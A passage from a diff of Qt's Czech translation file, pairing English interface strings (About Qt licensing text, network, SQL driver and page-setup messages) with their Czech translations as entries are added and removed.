2010 Nokia Corporation a/nebo její dceřinná(é) společnost(i).</p><p>Qt je výrobkem společnosti Nokia. Podívejte se na <a href="http://qt.nokia.com/">qt.nokia.com</a>kvůli více informacím.</p>
    +    
    +    
    +        <h3>About Qt</h3><p>This program uses Qt version %1.</p><p>Qt is a C++ toolkit for cross-platform application development.</p><p>Qt provides single-source portability across MS&nbsp;Windows, Mac&nbsp;OS&nbsp;X, Linux, and all major commercial Unix variants. Qt is also available for embedded devices as Qt for Embedded Linux and Qt for Windows CE.</p><p>Qt is available under three different licensing options designed to accommodate the needs of our various users.</p>Qt licensed under our commercial license agreement is appropriate for development of proprietary/commercial software where you do not want to share any source code with third parties or otherwise cannot comply with the terms of the GNU LGPL version 2.1 or GNU GPL version 3.0.</p><p>Qt licensed under the GNU LGPL version 2.1 is appropriate for the development of Qt applications (proprietary or open source) provided you can comply with the terms and conditions of the GNU LGPL version 2.1.</p><p>Qt licensed under the GNU General Public License version 3.0 is appropriate for the development of Qt applications where you wish to use such applications in combination with software subject to the terms of the GNU GPL version 3.0 or where you are otherwise willing to comply with the terms of the GNU GPL version 3.0.</p><p>Please see <a href="http://qt.nokia.com/products/licensing">qt.nokia.com/products/licensing</a> for an overview of Qt licensing.</p><p>Copyright (C) 2009 Nokia Corporation and/or its subsidiary(-ies).</p><p>Qt is a Nokia product. See <a href="http://qt.nokia.com/">qt.nokia.com</a> for more information.</p>
    +        <h3>O Qt</h3><p>Tento program používá Qt ve verzi %1.</p><p>Qt je sadou softwarových nástrojů C++ určených pro vývoj aplikací napříč platformami.</p><p>Qt poskytuje jednoduchou přenositelnost přes MS&nbsp;Windows, Mac&nbsp;OS&nbsp;X, Linux, a všechny hlavní obchodní varianty systému Unix. Qt je rovněž dostupný pro vložená zařízení jako Qt pro Embedded Linux a Qt pro Windows CE.</p><p>Qt je dostupné pod třemi rozdílnými licenčními volbami navrženými pro přizpůsobení se potřebám našich různých uživatelů.</p>Qt licencované pod naší obchodní licenční smlouvou je vhodné pro vývoj soukromého/obchodního software, kde si nepřejete sdílet jakýkoli zdrojový kód se třetími stranami, nebo jinak řečeno, když nemůžete vyhovět podmínkám GNU LGPL ve verzi 2.1 nebo GNU GPL ve verzi 3.0.</p><p>Qt licencované pod GNU LGPL ve verzi 2.1 je vhodné pro vývoj Qt aplikací (soukromých nebo s otevřeným zdrojovým kódem), za předpokladu že můžete souhlasit s požadavky a podmínkami GNU LGPL version 2.1.</p><p>Qt licencované pod GNU General Public License ve verzi 3.0 je vhodné pro vývoj aplikací Qt, u nichž si přejete použít takovou aplikaci ve spojení se software, který podléhá požadavkům GNU GPL ve verzi 3.0, nebo kde jste jinak ochoten souhlasit s podmínkami GNU GPL ve verzi 3.0.</p><p>Podívejte se, prosím, na <a href="http://qt.nokia.com/products/licensing">qt.nokia.com/products/licensing</a> kvůli přehledu licencování Qt.</p><p>Copyright (C) 2009 Nokia Corporation a/nebo její dceřinná(é) společnost(i).</p><p>Qt je výrobkem společnosti Nokia. Podívejte se na <a href="http://qt.nokia.com/">qt.nokia.com</a>kvůli více informacím.</p>
    +    
    +    
    +        Show Details...
    +        Ukázat podrobnosti...
    +    
    +    
    +        <h3>About Qt</h3><p>This program uses Qt version %1.</p>
    +        <h3>O Qt</h3><p>Tento program používá Qt-verze %1.</p>
    +    
    +    
    +        <p>Qt is a C++ toolkit for cross-platform application development.</p><p>Qt provides single-source portability across MS&nbsp;Windows, Mac&nbsp;OS&nbsp;X, Linux, and all major commercial Unix variants. Qt is also available for embedded devices as Qt for Embedded Linux and Qt for Windows CE.</p><p>Qt is available under three different licensing options designed to accommodate the needs of our various users.</p><p>Qt licensed under our commercial license agreement is appropriate for development of proprietary/commercial software where you do not want to share any source code with third parties or otherwise cannot comply with the terms of the GNU LGPL version 2.1 or GNU GPL version 3.0.</p><p>Qt licensed under the GNU LGPL version 2.1 is appropriate for the development of Qt applications (proprietary or open source) provided you can comply with the terms and conditions of the GNU LGPL version 2.1.</p><p>Qt licensed under the GNU General Public License version 3.0 is appropriate for the development of Qt applications where you wish to use such applications in combination with software subject to the terms of the GNU GPL version 3.0 or where you are otherwise willing to comply with the terms of the GNU GPL version 3.0.</p><p>Please see <a href="http://qt.nokia.com/products/licensing">qt.nokia.com/products/licensing</a> for an overview of Qt licensing.</p><p>Copyright (C) 2009 Nokia Corporation and/or its subsidiary(-ies).</p><p>Qt is a Nokia product. See <a href="http://qt.nokia.com/">qt.nokia.com</a> for more information.</p>
    +        <p>Qt je sadou softwarových nástrojů C++ určených pro vývoj aplikací napříč platformami.</p><p>Qt poskytuje jednoduchou přenositelnost přes MS&nbsp;Windows, Mac&nbsp;OS&nbsp;X, Linux, a všechny hlavní obchodní varianty systému Unix. Qt je rovněž dostupný pro vložená zařízení jako Qt pro Embedded Linux a Qt pro Windows CE.</p><p>Qt je dostupné pod třemi rozdílnými licenčními volbami navrženými pro přizpůsobení se potřebám našich různých uživatelů.</p>Qt licencované pod naší obchodní licenční smlouvou je vhodné pro vývoj soukromého/obchodního software, kde si nepřejete sdílet jakýkoli zdrojový kód se třetími stranami, nebo jinak řečeno, když nemůžete vyhovět podmínkám GNU LGPL ve verzi 2.1 nebo GNU GPL ve verzi 3.0.</p><p>Qt licencované pod GNU LGPL ve verzi 2.1 je vhodné pro vývoj Qt aplikací (soukromých nebo s otevřeným zdrojovým kódem), za předpokladu že můžete souhlasit s požadavky a podmínkami GNU LGPL version 2.1.</p><p>Qt licencované pod GNU General Public License ve verzi 3.0 je vhodné pro vývoj aplikací Qt, u nichž si přejete použít takovou aplikaci ve spojení se software, který podléhá požadavkům GNU GPL ve verzi 3.0, nebo kde jste jinak ochoten souhlasit s podmínkami GNU GPL ve verzi 3.0.</p><p>Podívejte se, prosím, na <a href="http://qt.nokia.com/products/licensing">qt.nokia.com/products/licensing</a> kvůli přehledu licencování Qt.</p><p>Copyright (C) 2009 Nokia Corporation a/nebo její dceřinná(é) společnost(i).</p><p>Qt je výrobkem společnosti Nokia. Podívejte se na <a href="http://qt.nokia.com/">qt.nokia.com</a>kvůli více informacím.</p>
    +    
    +    
    +        About Qt
    +        O Qt
    +    
    +    
    +        <p>This program uses Qt Open Source Edition version %1.</p><p>Qt Open Source Edition is intended for the development of Open Source applications. You need a commercial Qt license for development of proprietary (closed source) applications.</p><p>Please see <a href="http://www.trolltech.com/company/model/">www.trolltech.com/company/model/</a> for an overview of Qt licensing.</p>
    +        <p>Tento program používá Qt Open Source Edition verze %1.</p><p>Qt Open Source Edition je zamýšlena pro vývoj Open Source aplikací. Pro vývoj vlastnických aplikací (uzavřené zdrojové kódy) potřebujete Qt licenci.</p><p>Podívejte se, prosím, na <a href="http://www.trolltech.com/company/model/">www.trolltech.com/company/model/</a> kvůli přehledu licencování Qt.</p>
    +    
    +    
    +        Hide Details...
    +        Skrýt podrobnosti...
    +    
    +    
    +        <p>This program uses Qt version %1.</p>
    +        <p>Tento program používá Qt-verze %1.</p>
    +    
    +
    +
    +    QMultiInputContext
    +    
    +        Select IM
    +        Zvolit způsob vstupu
    +    
    +
    +
    +    QMultiInputContextPlugin
    +    
    +        Multiple input method switcher that uses the context menu of the text widgets
    +        Přepínač pro více způsobů vstupu, který používá související nabídku textového prvku
    +    
    +    
    +        Multiple input method switcher
    +        Přepínač pro více způsobů vstupu
         
     
     
    -    QHttpSocketEngine
    +    QNativeSocketEngine
         
    -        
    -        Proxy connection refused
    -        Proxy server odmítl navázání spojení
    +        The proxy type is invalid for this operation
    +        Tuto operaci nelze s tímto typem proxy provést
         
         
    -        
    -        Proxy denied connection
    -        Proxy server odmítl spojení
    +        Network operation timed out
    +        Časový limit pro síťovou operaci byl překročen
         
         
    -        
    -        Proxy server not found
    -        Nepodařilo se najít žádný proxy server
    +        The remote host closed the connection
    +        Vzdálený počítač uzavřel spojení
         
         
    -        
    -        Proxy server connection timed out
    -        Při spojení s proxy serverem byl překročen časový limit
    +        Invalid socket descriptor
    +        Neplatný deskriptor zásuvky (socketu)
         
         
    -        
    -        Did not receive HTTP response from proxy
    -        Žádná HTTP odpověď od proxy serveru
    +        Host unreachable
    +        Cílový počítač je nedosažitelný
         
         
    -        
    -        Proxy connection closed prematurely
    -        Proxy server předčasně ukončil spojení
    +        Protocol type not supported
    +        Protokol tohoto typu není podporován
         
         
    -        
    -        Error communicating with HTTP proxy
    -        Chyba při spojení s proxy serverem
    +        Datagram was too large to send
    +        Datagram byl pro odeslání příliš veliký
         
         
    -        
    -        Authentication required
    -        Požadována autentizace
    +        Attempt to use IPv6 socket on a platform with no IPv6 support
    +        Vyzkoušelo se použít IPv6 zásuvku (socket) na systému bez podpory IPv6
         
         
    -        
    -        Error parsing authentication request from proxy
    -        Chyba při vyhodnocení autentizačního požadavku proxy serveru
    +        Unable to receive a message
    +        Zprávu se nepodařilo přijmout
         
    -
    -
    -    QIBaseDriver
         
    -        
    -        Unable to commit transaction
    -        Transakci se nepodařilo provést (operace 'commit', odeslání, se nezdařila)
    +        Permission denied
    +        Přístup odepřen
         
         
    -        
    -        Could not start transaction
    -        Nepodařilo se spustit žádnou transakci
    +        Connection refused
    +        Spojení bylo odmítnuto
         
         
    -        
    -        Error opening database
    -        Nepodařilo se otevřít spojení s databází
    +        Unable to write
    +        Nepodařilo se zapsat
         
         
    -        
    -        Unable to rollback transaction
    -        Transakci se nepodařilo zvrátit (operace 'rollback', zvrácení, se nezdařila)
    +        Another socket is already listening on the same port
    +        Na tomto portu již naslouchá jiná zásuvka (socket)
         
    -
    -
    -    QIBaseResult
         
    -        
    -        Unable to commit transaction
    -        Transakci se nepodařilo provést (operace 'commit', odeslání, se nezdařila)
    +        Unable to send a message
    +        Nepodařilo se odeslat hlášení
         
         
    -        
    -        Unable to open BLOB
    -        Nepodařilo se otevřít BLOB
    +        The bound address is already in use
    +        Uvedená adresa se už používá
         
         
    -        
    -        Could not describe statement
    -        Nepodařilo se získat žádný popis příkazu
    +        Connection timed out
    +        Časový limit pro spojení byl překročen
         
         
    -        
    -        
    -        Could not describe input statement
    -        Nepodařilo se získat žádný popis vstupního příkazu
    +        Network error
    +        Síťová chyba
         
         
    -        
    -        Could not allocate statement
    -        Přidělení příkazu se nezdařilo
    +        Unsupported socket operation
    +        Nepodporovaná zásuvková operace (povel pro socket)
         
         
    -        
    -        Unable to write BLOB
    -        Nepodařilo se zapsat BLOB
    +        Operation on non-socket
    +        Operaci lze použít pouze na jedné zásuvce (socketu)
         
         
    -        
    -        Could not start transaction
    -        Nepodařilo se spustit žádnou transakci
    +        Unable to initialize broadcast socket
    +        Zásuvku pro vysílání (socket) se nepodařilo spustit
         
         
    -        
    -        Unable to close statement
    -        Příkaz se nepodařilo zavřít
    +        Unknown error
    +        Neznámá chyba
         
         
    -        
    -        Could not get query info
    -        Požadované informace k vyhledávání nejsou k dispozici
    +        Unable to initialize non-blocking socket
    +        Neblokující zásuvku (socket) se nepodařilo spustit
         
         
    -        
    -        
    -        Could not find array
    -        Nepodařilo se najít pole
    +        The address is protected
    +        Adresa je chráněna
         
         
    -        
    -        Could not get array data
    -        Nepodařilo se přečíst data pole
    +        Network unreachable
    +        Síť je nedosažitelná
         
         
    -        
    -        Unable to execute query
    -        Dotaz se nepodařilo provést
    +        The address is not available
    +        Adresa není dostupná
         
         
    -        
    -        Could not prepare statement
    -        Příkaz se nepodařilo připravit
    +        Out of resources
    +        Nejsou dostupné žádné zdroje
         
    +
    +
    +    QNetworkAccessCacheBackend
         
    -        
    -        Could not fetch next item
    -        Další prvek se nepodařilo vyzvednout
    +        Error opening %1
    +        %1 se nepodařilo otevřít
         
    +
    +
    +    QNetworkAccessDataBackend
         
    -        
    -        Could not get statement info
    -        K dispozici není žádná informace k příkazu
    +        Operation not supported on %1
    +        Tato operace není %1 podporována
         
         
    -        
    -        Unable to create BLOB
    -        Nepodařilo se vytvořit žádný BLOB
    +        Invalid URI: %1
    +        Neplatný URI: %1
         
    +
    +
    +    QNetworkAccessDebugPipeBackend
         
    -        
    -        Unable to read BLOB
    -        BLOB se nepodařilo přečíst
    +        Write error writing to %1: %2
    +        Při zápisu do souboru %1: %2 nastala chyba
    +    
    +    
    +        Socket error on %1: %2
    +        Chyba zásuvky (socketu) u %1: %2
    +    
    +    
    +        Remote host closed the connection prematurely on %1
    +        Vzdálený počítač předčasně ukončil spojení s %1
         
     
     
    -    QIODevice
    +    QNetworkAccessFileBackend
         
    -        
    -        No such file or directory
    -        Nepodařilo se najít žádný takový soubor nebo adresář
    +        Request for opening non-local file %1
    +        Požadavek na otevření souboru přes síť %1
         
         
    -        
    -        Permission denied
    -        Přístup odepřen
    +        Read error reading from %1: %2
    +        Při čtení ze souboru %1 nastala chyba: %2
         
         
    -        
    -        No space left on device
    -        Na zařízení není žádný volný úložný prostor
    +        Cannot open %1: Path is a directory
    +        %1 nelze otevřít: Jedná se o adresář
         
         
    -        
    -        Unknown error
    -        Neznámá chyba
    +        Error opening %1: %2
    +        %1 se nepodařilo otevřít: %2
         
         
    -        
    -        Too many open files
    -        Příliš mnoho otevřených souborů
    +        Write error writing to %1: %2
    +        Při zápisu do souboru %1: %2 nastala chyba
         
     
     
    -    QInputContext
    +    QNetworkAccessFtpBackend
         
    -        
    -        XIM
    -        XIM
    +        No suitable proxy found
    +        Nepodařilo se najít žádný vhodný proxy server
         
         
    -        
    -        FEP
    -        FEP
    +        Error while downloading %1: %2
    +        Při stahování %1 se vyskytla chyba: %2
         
         
    -        
    -        Windows input method
    -        Windows-vstupní metoda
    +        Error while uploading %1: %2
    +        Při nahrávání %1 se vyskytla chyba: %2
         
         
    -        
    -        S60 FEP input method
    -        S60 FEP-vstupní metoda
    +        Cannot open %1: is a directory
    +        %1 nelze otevřít: Jedná se o adresář
         
         
    -        
    -        XIM input method
    -        XIM-vstupní metoda
    +        Logging in to %1 failed: authentication required
    +        Přihlášení do %1 se nezdařilo: Je požadována autentizace
    +    
    +
    +
    +    QNetworkAccessHttpBackend
    +    
    +        No suitable proxy found
    +        Nepodařilo se najít žádný vhodný proxy server
         
    +
    +
    +    QNetworkAccessManager
         
    -        
    -        Mac OS X input method
    -        Mac OS X-vstupní metoda
    +        Network access is disabled.
    +        Přístup k síti není dovolen.
         
     
     
    -    QInputDialog
    +    QNetworkReply
         
    -        
    -        Enter a value:
    -        Zadejte hodnotu:
    +        Error downloading %1 - server replied: %2
    +        Beim Herunterladen von %1 trat ein Fehler auf - Die Antwort des Servers ist: %2
    +    
    +    
    +        Protocol "%1" is unknown
    +        Protokol "%1" není znám
    +    
    +    
    +        Network session error.
    +        Chyba při spojení přes síť.
    +    
    +    
    +        Temporary network failure.
    +        Síť dočasně vypadla.
         
     
     
    -    QLibrary
    +    QNetworkReplyImpl
    +    
    +        Operation canceled
    +        Operace byla zrušena
    +    
    +
    +
    +    QNetworkSession
    +    
    +        Invalid configuration.
    +        Neplatné nastavení.
    +    
    +
    +
    +    QNetworkSessionPrivateImpl
    +    
    +        Roaming error
    +        Chyba při toulání se (roaming)
    +    
    +    
    +        Session aborted by user or system
    +        Spojení bylo zrušeno buď uživatelem nebo operačním systémem
    +    
    +    
    +        The specified configuration cannot be used.
    +        Zadané nastavení nelze použít.
    +    
    +    
    +        Unidentified Error
    +        Neznámá chyba
    +    
    +    
    +        Unknown session error.
    +        Neznámá chyba při spojení přes síť.
    +    
    +    
    +        The session was aborted by the user or system.
    +        Spojení bylo zrušeno buď uživatelem nebo operačním systémem.
    +    
    +    
    +        The requested operation is not supported by the system.
    +        Požadovaná operace není systémem podporována.
    +    
    +    
    +        Roaming was aborted or is not possible.
    +        Toulání se (roaming) bylo buď zrušeno, nebo zde není možné.
    +    
    +
    +
    +    QOCIDriver
    +    
    +        Unable to commit transaction
    +        Transakci se nepodařilo provést (operace 'commit', odeslání, se nezdařila)
    +    
    +    
    +        Unable to initialize
    +        Inicializace se nezdařila
    +    
    +    
    +        Unable to logon
    +        Přihlášení se nezdařilo
    +    
         
    -        
    -        Could not unmap '%1': %2
    -        Operace unmap, zrušit zobrazení, se nezdařila u '%1': %2
    +        Unable to rollback transaction
    +        Transakci se nepodařilo zvrátit (operace 'rollback', zvrácení, se nezdařila)
         
         
    -        
    -        
    -        Cannot unload library %1: %2
    -        Knihovnu %1 nelze vyjmout: %2
    +        Unable to begin transaction
    +        Transakci se nepodařilo spustit
         
         
    -        
    -        
    -        Cannot load library %1: %2
    -        Knihovnu %1 nelze nahrát: %2
    +        Unable to initialize
    +        QOCIDriver
    +        Spuštění se nezdařilo
         
    +
    +
    +    QOCIResult
         
    -        
    -        The plugin '%1' uses incompatible Qt library. (%2.%3.%4) [%5]
    -        Přídavný modul '%1' používá neslučitelnou Qt knihovnu. (%2.%3.%4) [%5]
    +        Unable to alloc statement
    +        Přidělení příkazu se nepodařilo
         
         
    -        
    -        
    -        Cannot resolve symbol "%1" in %2: %3
    -        Symbol "%1" nelze v %2 vyřešit: %3
    +        Unable to goto next
    +        Nelze jít k dalšímu prvku
         
         
    -        
    -        Plugin verification data mismatch in '%1'
    -        Ověřovací data přídavného nesouhlasí v '%1'
    +        Unable to get statement type
    +        Nepodařilo se získat typ příkazu
         
         
    -        
    -        The plugin '%1' uses incompatible Qt library. (Cannot mix debug and release libraries.)
    -        Přídavný modul '%1' používá neslučitelnou Qt knihovnu. (Knihovny vytvořené v režimu ladění a vydání nemohou být používány společně.)
    +        Unable to execute statement
    +        Příkaz se nepodařilo provést
         
         
    -        
    -        The file '%1' is not a valid Qt plugin.
    -        Soubor '%1' není platným přídavným modulem Qt.
    +        Unable to bind column for batch execute
    +        Nepodařilo se spojit sloupec pro provedení příkazu dávkového zpracování
         
         
    -        
    -        
    -        The shared library was not found.
    -        Nepodařilo se nalézt sdílenou knihovnu.
    +        Unable to execute select statement
    +        Výběrové vyhledávání se nepodařilo provést
         
         
    -        
    -        Unknown error
    -        Neznámá chyba
    +        Unable to prepare statement
    +        Příkaz se nepodařilo připravit
         
         
    -        
    -        The plugin '%1' uses incompatible Qt library. Expected build key "%2", got "%3"
    -        Přídavný modul '%1' používá neslučitelnou Qt knihovnu. Potřebný byl zvláštní klíč pro sestavení "%2", obdržen "%3"
    +        Unable to execute batch statement
    +        Příkaz pro dávkové zpracování se nepodařilo provést
         
         
    -        
    -        Could not mmap '%1': %2
    -        Operace mmap se nezdařila u '%1': %2
    +        Unable to bind value
    +        Hodnotu se nepodařilo spojit
         
     
     
    -    QLineEdit
    +    QODBCDriver
         
    -        
    -        Cu&t
    -        &Vyjmout
    +        Unable to commit transaction
    +        Transakci se nepodařilo provést (operace 'commit', odeslání, se nezdařila)
         
         
    -        
    -        &Copy
    -        &Kopírovat
    +        Unable to enable autocommit
    +        'autocommit' se nepodařilo povolit
         
         
    -        
    -        &Redo
    -        &Znovu
    +        Unable to connect - Driver doesn't support all needed functionality
    +        Nepodařilo se navázat spojení, protože ovladač nutnou funkcionalitu plně nepodporuje
         
         
    -        
    -        &Undo
    -        &Zpět
    +        Unable to disable autocommit
    +        'autocommit', automatické odeslání, se nepodařilo zastavit
         
         
    -        
    -        &Paste
    -        &Vložit
    +        Unable to connect
    +        Nepodařilo se navázat spojení
         
         
    -        
    -        Delete
    -        Smazat
    +        Unable to connect - Driver doesn't support all functionality required
    +        Nepodařilo se navázat spojení, protože ovladač nutnou funkcionalitu plně nepodporuje
         
         
    -        
    -        Select All
    -        Vybrat vše
    +        Unable to rollback transaction
    +        Transakci se nepodařilo zvrátit (operace 'rollback', zvrácení, se nezdařila)
         
     
     
    -    QLocalServer
    -    
    -        
    -        
    -        %1: Name error
    -        %1: Chybný název
    -    
    -    
    -        
    -        %1: Unknown error %2
    -        %1: Neznámá chyba %2
    -    
    +    QODBCResult
         
    -        
    -        %1: Permission denied
    -        %1: Přístup odepřen
    +        Unable to bind variable
    +        Proměnnou se nepodařilo provést
         
         
    -        
    -        %1: Address in use
    -        %1: Adresa se již používá
    +        Unable to execute statement
    +        Příkaz se nepodařilo provést
         
    -
    -
    -    QLocalSocket
         
    -        
    -        
    -        
    -        %1: Connection error
    -        %1: Chyba spojení
    +        Unable to fetch next
    +        Další datový záznam se nepodařilo natáhnout
         
         
    -        
    -        
    -        %1: Connection refused
    -        %1: Spojení bylo odmítnuto
    +        Unable to fetch last
    +        Poslední datový záznam se nepodařilo natáhnout
         
         
    -        
    -        
    -        %1: Unknown error %2
    -        %1: Neznámá chyba %2
    +        Unable to prepare statement
    +        Příkaz se nepodařilo spustit
         
         
    -        
    -        
    -        %1: Socket access error
    -        %1: Chyba při přístupu k zásuvce (socketu)
    +        Unable to fetch previous
    +        Předchozí datový záznam se nepodařilo natáhnout
         
         
    -        
    -        
    -        %1: Socket resource error
    -        %1: Chyba zásuvky (socketu) - potíže se zdrojem
    +        Unable to fetch
    +        Nepodařilo se natáhnout žádná data
         
         
    -        
    -        
    -        %1: The socket operation is not supported
    -        %1: Tato operace se zásuvkou (socketem) není podporována
    +        QODBCResult::reset: Unable to set 'SQL_CURSOR_STATIC' as statement attribute. Please check your ODBC driver configuration
    +        QODBCResult::reset: 'SQL_CURSOR_STATIC' se nepodařilo nastavit jako příkaz vlastnosti . Ověřte, prosím, nastavení svého ODBC ovladače
         
         
    -        
    -        
    -        
    -        
    -        %1: Invalid name
    -        %1: Neplatný název
    +        Unable to fetch first
    +        První datový záznam se nepodařilo natáhnout
         
    +
    +
    +    QObject
         
    -        
    -        %1: Unknown error
    -        %1: Neznámá chyba
    +        Invalid hostname
    +        Neplatný název pro hostitelský počítač
         
         
    -        
    -        
    -        %1: Socket operation timed out
    -        %1: Překročení času při operaci se zásuvkou (socketem)
    +        Home
    +        Home
         
         
    -        
    -        
    -        %1: Datagram too large
    -        %1: Datagram je příliš veliký
    +        Protocol error: packet of size 0 received
    +        Chyba v zápisu: Byl přijat paket o nulové velikosti
         
         
    -        
    -        
    -        %1: Remote closed
    -        %1: Spojení bylo protější stranou uzavřeno
    +        Invalid URI: %1
    +        Neplátná URI: %1
         
    -
    -
    -    QMYSQLDriver
         
    -        
    -        Unable to commit transaction
    -        Transakci se nepodařilo provést (operace 'commit', odeslání, se nezdařila)
    +        Socket error on %1: %2
    +        Chyba zásuvky (socketu) u %1: %2
         
         
    -        
    -        Unable to open database '
    -        Nepodařilo se otevřít spojení s databází '
    +        No host name given
    +        Nebyl zadán název pro hostitelský počítač
         
         
    -        
    -        Unable to connect
    -        Nepodařilo se navázat spojení
    +        Read error reading from %1: %2
    +        Při čtení ze souboru %1 nastala chyba: %2
         
         
    -        
    -        Unable to rollback transaction
    -        Transakci se nepodařilo zvrátit (operace 'rollback', zvrácení, se nezdařila)
    +        Remote host closed the connection prematurely on %1
    +        Vzdálený počítač předčasně ukončil spojení s %1
         
         
    -        
    -        Unable to begin transaction
    -        Transakci se nepodařilo spustit
    +        Operation not supported on %1
    +        Tato operace není %1 podporována
         
    -
    -
    -    QMYSQLResult
         
    -        
    -        Unable to execute statement
    -        Příkaz se nepodařilo provést
    +        Write error writing to %1: %2
    +        Při zápisu do souboru %1: %2 nastala chyba
         
         
    -        
    -        Unable to store statement results
    -        Výsledky příkazu se nepodařilo uložit
    +        PulseAudio Sound Server
    +        Zvukový server PulseAudio
         
         
    -        
    -        Unable to execute next query
    -        Další dotaz nelze provést
    +        "%1" duplicates a previous role name and will be disabled.
    +        "%1" je již zadán jako název předchozí úlohy, a je proto vypnut.
         
         
    -        
    -        
    -        Unable to bind outvalues
    -        Výstupní hodnoty se nepodařilo spojit
    +        invalid query: "%1"
    +        Neplátný dotaz: "%1"
         
    +
    +
    +    QPPDOptionsModel
         
    -        
    -        Unable to store next result
    -        Další výsledek nelze uložit
    +        Name
    +        Název
         
         
    -        
    -        Unable to fetch data
    -        Nepodařilo se natáhnout žádná data
    +        Value
    +        Hodnota
         
    +
    +
    +    QPSQLDriver
         
    -        
    -        
    -        Unable to prepare statement
    -        Příkaz se nepodařilo připravit
    +        Unable to subscribe
    +        Registrace se nezdařila
         
         
    -        
    -        Unable to store result
    -        Výsledek se nepodařilo uložit
    +        Could not begin transaction
    +        Transakci se nepodařilo spustit
         
         
    -        
    -        Unable to bind value
    -        Hodnotu se nepodařilo spojit
    +        Could not rollback transaction
    +        Transakci se nepodařilo zvrátit (operace 'rollback', zvrácení, se nezdařila)
         
         
    -        
    -        Unable to execute query
    -        Dotaz se nepodařilo provést
    +        Could not commit transaction
    +        Transakci se nepodařilo provést (operace 'commit', odeslání, se nezdařila)
         
         
    -        
    -        Unable to reset statement
    -        Příkaz se nepodařilo znovu nastavit
    +        Unable to connect
    +        Nepodařilo se navázat spojení
         
    -
    -
    -    QMdiArea
         
    -        
    -        (Untitled)
    -        (Bez názvu)
    +        Unable to unsubscribe
    +        Registraci se nepodařilo zrušit
         
     
     
    -    QMdiSubWindow
    +    QPSQLResult
         
    -        
    -        Help
    -        Nápověda
    +        Unable to prepare statement
    +        Příkaz se nepodařilo připravit
         
         
    -        
    -        Menu
    -        Menu
    +        Unable to create query
    +        Nepodařilo se vytvořit žádný dotaz
         
    +
    +
    +    QPageSetupWidget
         
    -        
    -        &Move
    -        Po&sunout
    +        Form
    +        Formulář
         
         
    -        
    -        &Size
    -        Změnit &velikost
    +        bottom margin
    +        Dolní okraj
         
         
    -        
    -        Close
    -        Zavřít
    +        Paper
    +        Papír
         
         
    -        
    -        Minimize
    -        Zmenšit
    +        Paper source:
    +        Zdroj papíru:
         
         
    -        
    -        Shade
    -        Navinout
    +        Centimeters (cm)
    +        Centimetry (cm)
         
         
    -        
    -        Stay on &Top
    -        Zůstat v &popředí
    +        right margin
    +        Pravý okraj
         
         
    -        
    -        &Close
    -        &Zavřít
    +        Margins
    +        Okraje
         
         
    -        
    -        - [%1]
    -        - [%1]
    +        Landscape
    +        Formát na šířku
         
         
    -        
    -        %1 - [%2]
    -        %1 - [%2]
    +        Width:
    +        Šířka:
         
         
    -        
    -        &Restore
    -        &Obnovit
    +        Orientation
    +        Zaměření
         
         
    -        
    -        Restore
    -        Obnovit
    +        Portrait
    +        Formát na výšku
         
         
    -        
    -        Maximize
    -        Zvětšit
    +        top margin
    +        Horní okraj
         
         
    -        
    -        Unshade
    -        Odvinout
    +        left margin
    +        Levý okraj
         
         
    -        
    -        Mi&nimize
    -        Zmen&šit
    +        Page size:
    +        Velikost stran:
         
         
    -        
    -        Ma&ximize
    -        Zvě&tšit
    +        Reverse portrait
    +        Obrácený formát na výšku
         
         
    -        
    -        Restore Down
    -        Obnovit
    +        Millimeters (mm)
    +        Milimetry (mm)
         
    -
    -
    -    QMenu
         
    -        
    -        
    -        Open
    -        Otevřít
    +        Points (pt)
    +        Body (pt)
         
         
    -        
    -        
    -        Close
    -        Zavřít
    +        Inches (in)
    +        Palce (in)
         
         
    -        
    -        
    -        
    -        Execute
    -        Provést
    +        Reverse landscape
    +        Obrácený formát na šířku
         
    -
    -
    -    QMenuBar
         
    -        
    -        Actions
    -        Činnosti
    +        Height:
    +        Výška:
         
     
     
    -    QMessageBox
    +    QPluginLoader
         
    -        
    -        
    -        
    -        
    -        OK
    -        OK
    +        The plugin was not loaded.
    +        Přídavný modul nebyl nahrán.
         
         
    -        
    -        Help
    -        Nápověda
    +        Unknown error
    +        Neznámá chyba
         
    +
    +
    +    QPrintDialog
         
    -        <h3>About Qt</h3><p>This program uses Qt version %1.</p><p>Qt is a C++ toolkit for cross-platform application development.</p><p>Qt provides single-source portability across MS&nbsp;Windows, Mac&nbsp;OS&nbsp;X, Linux, and all major commercial Unix variants. Qt is also available for embedded devices as Qt for Embedded Linux and Qt for Windows CE.</p><p>Qt is available under three different licensing options designed to accommodate the needs of our various users.</p>Qt licensed under our commercial license agreement is appropriate for development of proprietary/commercial software where you do not want to share any source code with third parties or otherwise cannot comply with the terms of the GNU LGPL version 2.1 or GNU GPL version 3.0.</p><p>Qt licensed under the GNU LGPL version 2.1 is appropriate for the development of Qt applications (proprietary or open source) provided you can comply with the terms and conditions of the GNU LGPL version 2.1.</p><p>Qt licensed under the GNU General Public License version 3.0 is appropriate for the development of Qt applications where you wish to use such applications in combination with software subject to the terms of the GNU GPL version 3.0 or where you are otherwise willing to comply with the terms of the GNU GPL version 3.0.</p><p>Please see <a href="http://qt.nokia.com/products/licensing">qt.nokia.com/products/licensing</a> for an overview of Qt licensing.</p><p>Copyright (C) 2009 Nokia Corporation and/or its subsidiary(-ies).</p><p>Qt is a Nokia product. See <a href="http://qt.nokia.com/">qt.nokia.com</a> for more information.</p>
    -        <h3>O Qt</h3><p>Tento program používá Qt ve verzi %1.</p><p>Qt je sadou softwarových nástrojů C++ určených pro vývoj aplikací napříč platformami.</p><p>Qt poskytuje jednoduchou přenositelnost přes MS&nbsp;Windows, Mac&nbsp;OS&nbsp;X, Linux, a všechny hlavní obchodní varianty systému Unix. Qt je rovněž dostupný pro vložená zařízení jako Qt pro Embedded Linux a Qt pro Windows CE.</p><p>Qt je dostupné pod třemi rozdílnými licenčními volbami navrženými pro přizpůsobení se potřebám našich různých uživatelů.</p>Qt licencované pod naší obchodní licenční smlouvou je vhodné pro vývoj soukromého/obchodního software, kde si nepřejete sdílet jakýkoli zdrojový kód se třetími stranami, nebo jinak řečeno, když nemůžete vyhovět podmínkám GNU LGPL ve verzi 2.1 nebo GNU GPL ve verzi 3.0.</p><p>Qt licencované pod GNU LGPL ve verzi 2.1 je vhodné pro vývoj Qt aplikací (soukromých nebo s otevřeným zdrojovým kódem), za předpokladu že můžete souhlasit s požadavky a podmínkami GNU LGPL version 2.1.</p><p>Qt licencované pod GNU General Public License ve verzi 3.0 je vhodné pro vývoj aplikací Qt, u nichž si přejete použít takovou aplikaci ve spojení se software, který podléhá požadavkům GNU GPL ve verzi 3.0, nebo kde jste jinak ochoten souhlasit s podmínkami GNU GPL ve verzi 